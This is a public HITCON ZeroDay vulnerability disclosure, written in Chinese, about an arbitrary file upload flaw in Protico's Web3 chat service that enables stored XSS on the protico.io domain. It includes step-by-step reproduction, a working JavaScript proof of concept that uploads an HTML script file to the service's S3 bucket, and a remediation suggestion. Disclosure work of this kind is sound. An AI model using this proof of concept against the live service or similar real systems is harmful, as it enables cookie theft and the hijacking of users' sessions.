Protico - A Web3 Chatting Network 任意 Content-Type 的檔案上傳 S3,跟主網站在同一個 subdomain,可達成 XSS - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2025-00483
  •  發信 Vendor: Protico - A Web3 Chatting Network
  • Title: Protico - A Web3 Chatting Network 任意 Content-Type 的檔案上傳 S3,跟主網站在同一個 subdomain,可達成 XSS
  • Introduction: 任意 Content-Type 的檔案上傳 S3,跟主網站在同一個 subdomain,可達成 XSS

處理狀態

目前狀態

公開
Last Update : 2025/07/30
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2025/05/30 17:17:43 : 新提交 (由 yusheng 更新此狀態)
  • 2025/06/02 21:29:48 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/06/12 15:12:32 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/06/12 15:12:32 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/06/12 15:12:32 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/07/30 03:00:07 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2025-00483
  • 通報者:cat1528985 (yusheng)
  • 風險:高
  • 類型:任意檔案上傳 (Arbitrary File Upload)

參考資料

攻擊者可上傳任意檔案至該主機,有機會經由上傳之文件取得該主機系統權限。

漏洞說明: OWASP - Unrestricted File Upload
https://www.owasp.org/index.php/Unrestricted_File_Upload

漏洞說明: CWE-434: Unrestricted Upload of File with Dangerous Type
https://cwe.mitre.org/data/definitions/434.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

以下兩個網址,實際上指到同一個檔案,其中 assets.protico.io 跟聊天室在同一個 subdomain,可攻擊性更高
https://protico-user-logo.s3.amazonaws.com/avatars/0x96056ed544fa36b8e9a75b94b984d00f48907387/a.html
https://assets.protico.io/avatars/0x96056ed544fa36b8e9a75b94b984d00f48907387/a.html

敘述

重現漏洞方式:

  1. 免費註冊鏈新聞 https://abmedia.io/
  2. 點擊右下角的聊天室(這是用 iframe 嵌入的,網址是 https://main.protico.io/protico?roomUrl=https://abmedia.io/&href=https://abmedia.io/&enable_dapp_ads=False&same_origin_ads=False&game_center_dapp_enable=False&protico_oq= ),隨便發送一則消息,點擊自己的頭像,編輯個人檔案 圖片
  3. 先打開 F12 > Network,然後上傳一張正常的圖片,並且把上傳圖片的 HTTP Request 記錄下來
  4. F12 > Console,可直接複製以下 js 程式碼(上傳圖片的 HTTP Request)並且執行,就可以達成 任意 Content-Type 的檔案上傳 S3
    fetch("https://main.protico.io/api/update-dapp-avatar/start/", {
    "headers": {
    "content-type": "application/json",
    "authorization": "Bearer SXEQI3zcSqQiKzJv4xfiSemvcGbST4", // 請換成您自己的
    "protico-agent": "Protico-Access-Token", // 請換成您自己的
    "protico-guest": "963f6b4d-9411-404d-96e3-f1e93a480388", // 請換成您自己的
    },
    "body": JSON.stringify({
      "file_name": "a.html", // 可自定義
      "file_type": "html" // 可自定義
    }),
    "method": "POST",
    }).then(res => res.json()).then(json => {
    const fd = new FormData();
    for (const [key, value] of Object.entries(json.fields)) {
        fd.append(key, value);
    }
    fd.append("file", "<script>alert(1)</script>"); // 可自定義
    fetch("https://protico-user-logo.s3.amazonaws.com/", {
      "body": fd,
      "method": "POST",
      "credentials": "omit"
    })
    })

POC 影片:https://drive.google.com/file/d/1nvdTQ1ijPolncPI_-TuNL92Xl2j9LdBp/view?usp=sharing

漏洞的種類:
CWE-434: Unrestricted Upload of File with Dangerous Type
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

影響:

  1. 上傳的檔案在 assets.protico.io,聊天室在 main.protico.io ,可在聊天室傳送含有惡意程式碼的HTML,例如 https://assets.protico.io/avatars/0x96056ed544fa36b8e9a75b94b984d00f48907387/a.html ,使用者點擊就會中招,可竊取 .protico.io 底下的 cookie
  2. assets.protico.io 成為惡意程式碼或檔案的倉庫

修補建議

上傳的檔案 content-type 實作白名單

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;